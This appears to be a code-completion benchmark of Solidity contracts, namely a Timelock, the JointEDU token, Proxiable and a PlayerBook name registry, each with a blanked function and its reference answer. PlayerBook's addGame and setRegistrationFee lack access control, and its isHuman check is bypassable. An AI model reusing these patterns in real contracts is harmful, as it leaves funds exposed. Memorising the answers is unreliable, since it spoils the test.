abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; bool public admin_initialized; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::constructor: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; admin_initialized = false; } // XXX: function() external payable { } receive() external payable { } <FILL_FUNCTION> function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { // allows one time setting of admin for deployment purposes if (admin_initialized) { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); } else { require(msg.sender == admin, "Timelock::setPendingAdmin: First call must come from admin."); admin_initialized = true; } pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay);
function setDelay(uint delay_) public
function setDelay(uint delay_) public
47400
JointEDU
creatTokens
contract JointEDU is ERC20Interface, Owned { using SafeMath for uint; string public symbol= "JOI"; string public name = "JointEDU"; uint8 public decimals; uint public _totalSupply; uint256 public constant RATE = 10000; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function JointEDU() public { symbol = "JOI"; name = "JointEDU"; decimals = 18; _totalSupply = 270000000 * 10**uint(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function() payable public{ creatTokens(); } function creatTokens()payable public{<FILL_FUNCTION_BODY> } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract JointEDU is ERC20Interface, Owned { using SafeMath for uint; string public symbol= "JOI"; string public name = "JointEDU"; uint8 public decimals; uint public _totalSupply; uint256 public constant RATE = 10000; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function JointEDU() public { symbol = "JOI"; name = "JointEDU"; decimals = 18; _totalSupply = 270000000 * 10**uint(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function() payable public{ creatTokens(); } <FILL_FUNCTION> function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
require(msg.value>0 && balances[owner]>=1000000); uint256 tokens = msg.value.mul(RATE); balances[msg.sender]= balances[msg.sender].add(tokens); owner.transfer(msg.value); balances[owner] = balances[owner].sub(tokens);
function creatTokens()payable public
function creatTokens()payable public
43985
Proxiable
_updateCodeAddress
contract Proxiable { // Code position in storage is keccak256("PROXIABLE") = "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7" uint256 constant PROXIABLE_MEM_SLOT = 0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7; event CodeAddressUpdated(address newAddress); function _updateCodeAddress(address newAddress) internal {<FILL_FUNCTION_BODY> } function getLogicAddress() external view returns (address logicAddress) { assembly { // solium-disable-line logicAddress := sload(PROXIABLE_MEM_SLOT) } } function proxiableUUID() external pure returns (bytes32) { return bytes32(PROXIABLE_MEM_SLOT); } uint256[50] private __gap; }
contract Proxiable { // Code position in storage is keccak256("PROXIABLE") = "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7" uint256 constant PROXIABLE_MEM_SLOT = 0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7; event CodeAddressUpdated(address newAddress); <FILL_FUNCTION> function getLogicAddress() external view returns (address logicAddress) { assembly { // solium-disable-line logicAddress := sload(PROXIABLE_MEM_SLOT) } } function proxiableUUID() external pure returns (bytes32) { return bytes32(PROXIABLE_MEM_SLOT); } uint256[50] private __gap; }
require( bytes32(PROXIABLE_MEM_SLOT) == Proxiable(newAddress).proxiableUUID(), "Not compatible" ); assembly { // solium-disable-line sstore(PROXIABLE_MEM_SLOT, newAddress) } emit CodeAddressUpdated(newAddress);
function _updateCodeAddress(address newAddress) internal
function _updateCodeAddress(address newAddress) internal
75635
PlayerBook
registerNameXID
contract PlayerBook { using NameFilter for string; using SafeMath for uint256; address private admin = msg.sender; //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . //=============================|================================================ uint256 public registrationFee_ = 10 finney; // 注册名称的价格 mapping(uint256 => PlayerBookReceiverInterface) public games_; // 映射我们的游戏界面,将您的帐户信息发送到游戏 mapping(address => bytes32) public gameNames_; // 查找游戏名称 mapping(address => uint256) public gameIDs_; // 查找游戏ID uint256 public gID_; // 游戏总数 uint256 public pID_; // 球员总数 mapping (address => uint256) public pIDxAddr_; // (addr => pID) 按地址返回玩家ID mapping (bytes32 => uint256) public pIDxName_; // (name => pID) 按名称返回玩家ID mapping (uint256 => Player) public plyr_; // (pID => data) 球员数据 mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) 玩家拥有的名字列表。 (用于这样你就可以改变你的显示名称,而不管你拥有的任何名字) mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; // (pID => nameNum => name) 玩家拥有的名字列表 struct Player { address addr; bytes32 name; uint256 laff; uint256 names; } //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (合同部署时的初始数据设置) //============================================================================== constructor() public { // premine the dev names (sorry not sorry) // No keys are purchased with this method, it's simply locking our addresses, // PID's and names for referral codes. plyr_[1].addr = 0x8e0d985f3Ec1857BEc39B76aAabDEa6B31B67d53; plyr_[1].name = "justo"; plyr_[1].names = 1; pIDxAddr_[0x8e0d985f3Ec1857BEc39B76aAabDEa6B31B67d53] = 1; pIDxName_["justo"] = 1; plyrNames_[1]["justo"] = true; plyrNameList_[1][1] = "justo"; plyr_[2].addr = 0x8b4DA1827932D71759687f925D17F81Fc94e3A9D; plyr_[2].name = "mantso"; plyr_[2].names = 1; pIDxAddr_[0x8b4DA1827932D71759687f925D17F81Fc94e3A9D] = 2; pIDxName_["mantso"] = 2; plyrNames_[2]["mantso"] = true; plyrNameList_[2][1] = "mantso"; plyr_[3].addr = 0x7ac74Fcc1a71b106F12c55ee8F802C9F672Ce40C; plyr_[3].name = "sumpunk"; plyr_[3].names = 1; pIDxAddr_[0x7ac74Fcc1a71b106F12c55ee8F802C9F672Ce40C] = 3; pIDxName_["sumpunk"] = 3; plyrNames_[3]["sumpunk"] = true; plyrNameList_[3][1] = "sumpunk"; plyr_[4].addr = 0x18E90Fc6F70344f53EBd4f6070bf6Aa23e2D748C; plyr_[4].name = "inventor"; plyr_[4].names = 1; pIDxAddr_[0x18E90Fc6F70344f53EBd4f6070bf6Aa23e2D748C] = 4; pIDxName_["inventor"] = 4; plyrNames_[4]["inventor"] = true; plyrNameList_[4][1] = "inventor"; pID_ = 4; } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (这些是安全检查) //============================================================================== /** * @dev 防止合同与worldfomo交互 */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier isRegisteredGame() { require(gameIDs_[msg.sender] != 0); _; } //============================================================================== // _ _ _ _|_ _ . // (/_\/(/_| | | _\ . //============================================================================== // 只要玩家注册了名字就会被解雇 event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (用于UI和查看etherscan上的内容) //=====_|======================================================================= function checkIfNameValid(string _nameStr) public view returns(bool) { bytes32 _name = _nameStr.nameFilter(); if (pIDxName_[_name] == 0) return (true); else return (false); } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (使用这些与合同互动) //====|========================================================================= /** * @dev 注册一个名字。 UI将始终显示您注册的姓氏。 * 但您仍将拥有所有以前注册的名称以用作联属会员 * - 必须支付注册费。 * - 名称必须是唯一的 * - 名称将转换为小写 * - 名称不能以空格开头或结尾 * - 连续不能超过1个空格 * - 不能只是数字 * - 不能以0x开头 * - name必须至少为1个字符 * - 最大长度为32个字符 * - 允许的字符:a-z,0-9和空格 * -functionhash- 0x921dec21 (使用ID作为会员) * -functionhash- 0x3ddd4698 (使用联盟会员的地址) * -functionhash- 0x685ffd83 (使用联盟会员的名称) * @param _nameString 球员想要的名字 * @param _affCode 会员ID,地址或谁提到你的名字 * @param _all 如果您希望将信息推送到所有游戏,则设置为true * (这可能会耗费大量气体) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable {<FILL_FUNCTION_BODY> } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { // 确保支付名称费用 require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // 过滤器名称+条件检查 bytes32 _name = NameFilter.nameFilter(_nameString); // 设置地址 address _addr = msg.sender; // 设置我们的tx事件数据并确定玩家是否是新手 bool _isNewPlayer = determinePID(_addr); // 获取玩家ID uint256 _pID = pIDxAddr_[_addr]; // 管理会员残差 // 如果没有给出联盟代码或者玩家试图使用他们自己的代码 uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // 从aff Code获取会员ID _affID = pIDxAddr_[_affCode]; // 如果affID与先前存储的不同 if (_affID != plyr_[_pID].laff) { // 更新最后一个会员 plyr_[_pID].laff = _affID; } } // 注册名称 registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { // 确保支付名称费用 require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // 过滤器名称+条件检查 bytes32 _name = NameFilter.nameFilter(_nameString); // 设置地址 address _addr = msg.sender; // 设置我们的tx事件数据并确定玩家是否是新手 bool _isNewPlayer = determinePID(_addr); // 获取玩家ID uint256 _pID = pIDxAddr_[_addr]; // 管理会员残差 // 如果没有给出联盟代码或者玩家试图使用他们自己的代码 uint256 _affID; if (_affCode != "" && _affCode != _name) { // 从aff Code获取会员ID _affID = pIDxName_[_affCode]; // 如果affID与先前存储的不同 if (_affID != plyr_[_pID].laff) { // 更新最后一个会员 plyr_[_pID].laff = _affID; } } // 注册名称 registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } /** * @dev 玩家,如果您在游戏发布之前注册了个人资料,或者 * 注册时将all bool设置为false,使用此功能进行推送 * 你对一场比赛的个人资料。另外,如果你更新了你的名字,那么你 * 可以使用此功能将您的名字推送到您选择的游戏中。 * -functionhash- 0x81c5b206 * @param _gameID 游戏ID */ function addMeToGame(uint256 _gameID) isHuman() public { require(_gameID <= gID_, "silly player, that game doesn't exist yet"); address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, "hey there buddy, you dont even have an account"); uint256 _totalNames = plyr_[_pID].names; // 添加玩家个人资料和最新名称 games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff); // 添加所有名称的列表 if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } /** * @dev 玩家,使用此功能将您的玩家资料推送到所有已注册的游戏。 * -functionhash- 0x0c6940ea */ function addMeToAllGames() isHuman() public { address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, "hey there buddy, you dont even have an account"); uint256 _laff = plyr_[_pID].laff; uint256 _totalNames = plyr_[_pID].names; bytes32 _name = plyr_[_pID].name; for (uint256 i = 1; i <= gID_; i++) { games_[i].receivePlayerInfo(_pID, _addr, _name, _laff); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } } /** * @dev 玩家使用它来改回你的一个旧名字。小费,你会的 * 仍然需要将该信息推送到现有游戏。 * -functionhash- 0xb9291296 * @param _nameString 您要使用的名称 */ function useMyOldName(string _nameString) isHuman() public { // 过滤器名称,并获取pID bytes32 _name = _nameString.nameFilter(); uint256 _pID = pIDxAddr_[msg.sender]; // 确保他们拥有这个名字 require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own"); // 更新他们当前的名字 plyr_[_pID].name = _name; } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . //=====================_|======================================================= function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all) private { // 如果已使用名称,则要求当前的msg发件人拥有该名称 if (pIDxName_[_name] != 0) require(plyrNames_[_pID][_name] == true, "sorry that names already taken"); // 为播放器配置文件,注册表和名称簿添加名称 plyr_[_pID].name = _name; pIDxName_[_name] = _pID; if (plyrNames_[_pID][_name] == false) { plyrNames_[_pID][_name] = true; plyr_[_pID].names++; plyrNameList_[_pID][plyr_[_pID].names] = _name; } // 注册费直接归于社区奖励 admin.transfer(address(this).balance); // 将玩家信息推送到游戏 if (_all == true) for (uint256 i = 1; i <= gID_; i++) games_[i].receivePlayerInfo(_pID, _addr, _name, _affID); // 火灾事件 emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== function determinePID(address _addr) private returns (bool) { if (pIDxAddr_[_addr] == 0) { pID_++; pIDxAddr_[_addr] = pID_; plyr_[pID_].addr = _addr; // 将新玩家bool设置为true return (true); } else { return (false); } } //============================================================================== // _ _|_ _ _ _ _ | _ _ || _ . // (/_>< | (/_| | |(_|| (_(_|||_\ . //============================================================================== function getPlayerID(address _addr) isRegisteredGame() external returns (uint256) { determinePID(_addr); return (pIDxAddr_[_addr]); } function getPlayerName(uint256 _pID) external view returns (bytes32) { return (plyr_[_pID].name); } function getPlayerLAff(uint256 _pID) external view returns (uint256) { return (plyr_[_pID].laff); } function getPlayerAddr(uint256 _pID) external view returns (address) { return (plyr_[_pID].addr); } function getNameFee() external view returns (uint256) { return(registrationFee_); } function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // 确保支付名称费用 require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // 设置我们的tx事件数据并确定玩家是否是新手 bool _isNewPlayer = determinePID(_addr); // 获取玩家ID uint256 _pID = pIDxAddr_[_addr]; // 管理会员残差 // 如果没有给出联盟代码,则没有给出新的联盟代码,或者 // 玩家试图使用自己的pID作为联盟代码 uint256 _affID = _affCode; if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID) { // 更新最后一个会员 plyr_[_pID].laff = _affID; } else if (_affID == _pID) { _affID = 0; } // 注册名称 registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // 确保支付名称费用 require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // 设置我们的tx事件数据并确定玩家是否是新手 bool _isNewPlayer = determinePID(_addr); // 获取玩家ID uint256 _pID = pIDxAddr_[_addr]; // 管理会员残差 // 如果没有给出联盟代码或者玩家试图使用他们自己的代码 uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // 从aff Code获取会员ID _affID = pIDxAddr_[_affCode]; // 如果affID与先前存储的不同 if (_affID != plyr_[_pID].laff) { // 更新最后一个会员 plyr_[_pID].laff = _affID; } } // 注册名称 registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // 确保支付名称费用 require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // 设置我们的tx事件数据并确定玩家是否是新手 bool _isNewPlayer = determinePID(_addr); // 获取玩家ID uint256 _pID = pIDxAddr_[_addr]; // 管理会员残差 // 如果没有给出联盟代码或者玩家试图使用他们自己的代码 uint256 _affID; if (_affCode != "" && _affCode != _name) { // 从aff Code获取会员ID _affID = pIDxName_[_affCode]; // 如果affID与先前存储的不同 if (_affID != plyr_[_pID].laff) { // 更新最后一个会员 plyr_[_pID].laff = _affID; } } // 注册名称 registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } //============================================================================== // _ _ _|_ _ . // _\(/_ | |_||_) . //=============|================================================================ function addGame(address _gameAddress, string _gameNameStr) public { require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered"); gID_++; bytes32 _name = _gameNameStr.nameFilter(); gameIDs_[_gameAddress] = gID_; gameNames_[_gameAddress] = _name; games_[gID_] = PlayerBookReceiverInterface(_gameAddress); games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0); games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0); games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0); games_[gID_].receivePlayerInfo(4, plyr_[4].addr, plyr_[4].name, 0); } function setRegistrationFee(uint256 _fee) public { registrationFee_ = _fee; } }
contract PlayerBook { using NameFilter for string; using SafeMath for uint256; address private admin = msg.sender; //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . //=============================|================================================ uint256 public registrationFee_ = 10 finney; // 注册名称的价格 mapping(uint256 => PlayerBookReceiverInterface) public games_; // 映射我们的游戏界面,将您的帐户信息发送到游戏 mapping(address => bytes32) public gameNames_; // 查找游戏名称 mapping(address => uint256) public gameIDs_; // 查找游戏ID uint256 public gID_; // 游戏总数 uint256 public pID_; // 球员总数 mapping (address => uint256) public pIDxAddr_; // (addr => pID) 按地址返回玩家ID mapping (bytes32 => uint256) public pIDxName_; // (name => pID) 按名称返回玩家ID mapping (uint256 => Player) public plyr_; // (pID => data) 球员数据 mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) 玩家拥有的名字列表。 (用于这样你就可以改变你的显示名称,而不管你拥有的任何名字) mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; // (pID => nameNum => name) 玩家拥有的名字列表 struct Player { address addr; bytes32 name; uint256 laff; uint256 names; } //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (合同部署时的初始数据设置) //============================================================================== constructor() public { // premine the dev names (sorry not sorry) // No keys are purchased with this method, it's simply locking our addresses, // PID's and names for referral codes. plyr_[1].addr = 0x8e0d985f3Ec1857BEc39B76aAabDEa6B31B67d53; plyr_[1].name = "justo"; plyr_[1].names = 1; pIDxAddr_[0x8e0d985f3Ec1857BEc39B76aAabDEa6B31B67d53] = 1; pIDxName_["justo"] = 1; plyrNames_[1]["justo"] = true; plyrNameList_[1][1] = "justo"; plyr_[2].addr = 0x8b4DA1827932D71759687f925D17F81Fc94e3A9D; plyr_[2].name = "mantso"; plyr_[2].names = 1; pIDxAddr_[0x8b4DA1827932D71759687f925D17F81Fc94e3A9D] = 2; pIDxName_["mantso"] = 2; plyrNames_[2]["mantso"] = true; plyrNameList_[2][1] = "mantso"; plyr_[3].addr = 0x7ac74Fcc1a71b106F12c55ee8F802C9F672Ce40C; plyr_[3].name = "sumpunk"; plyr_[3].names = 1; pIDxAddr_[0x7ac74Fcc1a71b106F12c55ee8F802C9F672Ce40C] = 3; pIDxName_["sumpunk"] = 3; plyrNames_[3]["sumpunk"] = true; plyrNameList_[3][1] = "sumpunk"; plyr_[4].addr = 0x18E90Fc6F70344f53EBd4f6070bf6Aa23e2D748C; plyr_[4].name = "inventor"; plyr_[4].names = 1; pIDxAddr_[0x18E90Fc6F70344f53EBd4f6070bf6Aa23e2D748C] = 4; pIDxName_["inventor"] = 4; plyrNames_[4]["inventor"] = true; plyrNameList_[4][1] = "inventor"; pID_ = 4; } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (这些是安全检查) //============================================================================== /** * @dev 防止合同与worldfomo交互 */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier isRegisteredGame() { require(gameIDs_[msg.sender] != 0); _; } //============================================================================== // _ _ _ _|_ _ . // (/_\/(/_| | | _\ . //============================================================================== // 只要玩家注册了名字就会被解雇 event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (用于UI和查看etherscan上的内容) //=====_|======================================================================= function checkIfNameValid(string _nameStr) public view returns(bool) { bytes32 _name = _nameStr.nameFilter(); if (pIDxName_[_name] == 0) return (true); else return (false); } <FILL_FUNCTION> function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { // 确保支付名称费用 require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // 过滤器名称+条件检查 bytes32 _name = NameFilter.nameFilter(_nameString); // 设置地址 address _addr = msg.sender; // 设置我们的tx事件数据并确定玩家是否是新手 bool _isNewPlayer = determinePID(_addr); // 获取玩家ID uint256 _pID = pIDxAddr_[_addr]; // 管理会员残差 // 如果没有给出联盟代码或者玩家试图使用他们自己的代码 uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // 从aff Code获取会员ID _affID = pIDxAddr_[_affCode]; // 如果affID与先前存储的不同 if (_affID != plyr_[_pID].laff) { // 更新最后一个会员 plyr_[_pID].laff = _affID; } } // 注册名称 registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { // 确保支付名称费用 require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // 过滤器名称+条件检查 bytes32 _name = NameFilter.nameFilter(_nameString); // 设置地址 address _addr = msg.sender; // 设置我们的tx事件数据并确定玩家是否是新手 bool _isNewPlayer = determinePID(_addr); // 获取玩家ID uint256 _pID = pIDxAddr_[_addr]; // 管理会员残差 // 如果没有给出联盟代码或者玩家试图使用他们自己的代码 uint256 _affID; if (_affCode != "" && _affCode != _name) { // 从aff Code获取会员ID _affID = pIDxName_[_affCode]; // 如果affID与先前存储的不同 if (_affID != plyr_[_pID].laff) { // 更新最后一个会员 plyr_[_pID].laff = _affID; } } // 注册名称 registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } /** * @dev 玩家,如果您在游戏发布之前注册了个人资料,或者 * 注册时将all bool设置为false,使用此功能进行推送 * 你对一场比赛的个人资料。另外,如果你更新了你的名字,那么你 * 可以使用此功能将您的名字推送到您选择的游戏中。 * -functionhash- 0x81c5b206 * @param _gameID 游戏ID */ function addMeToGame(uint256 _gameID) isHuman() public { require(_gameID <= gID_, "silly player, that game doesn't exist yet"); address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, "hey there buddy, you dont even have an account"); uint256 _totalNames = plyr_[_pID].names; // 添加玩家个人资料和最新名称 games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff); // 添加所有名称的列表 if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } /** * @dev 玩家,使用此功能将您的玩家资料推送到所有已注册的游戏。 * -functionhash- 0x0c6940ea */ function addMeToAllGames() isHuman() public { address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, "hey there buddy, you dont even have an account"); uint256 _laff = plyr_[_pID].laff; uint256 _totalNames = plyr_[_pID].names; bytes32 _name = plyr_[_pID].name; for (uint256 i = 1; i <= gID_; i++) { games_[i].receivePlayerInfo(_pID, _addr, _name, _laff); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } } /** * @dev 玩家使用它来改回你的一个旧名字。小费,你会的 * 仍然需要将该信息推送到现有游戏。 * -functionhash- 0xb9291296 * @param _nameString 您要使用的名称 */ function useMyOldName(string _nameString) isHuman() public { // 过滤器名称,并获取pID bytes32 _name = _nameString.nameFilter(); uint256 _pID = pIDxAddr_[msg.sender]; // 确保他们拥有这个名字 require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own"); // 更新他们当前的名字 plyr_[_pID].name = _name; } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . 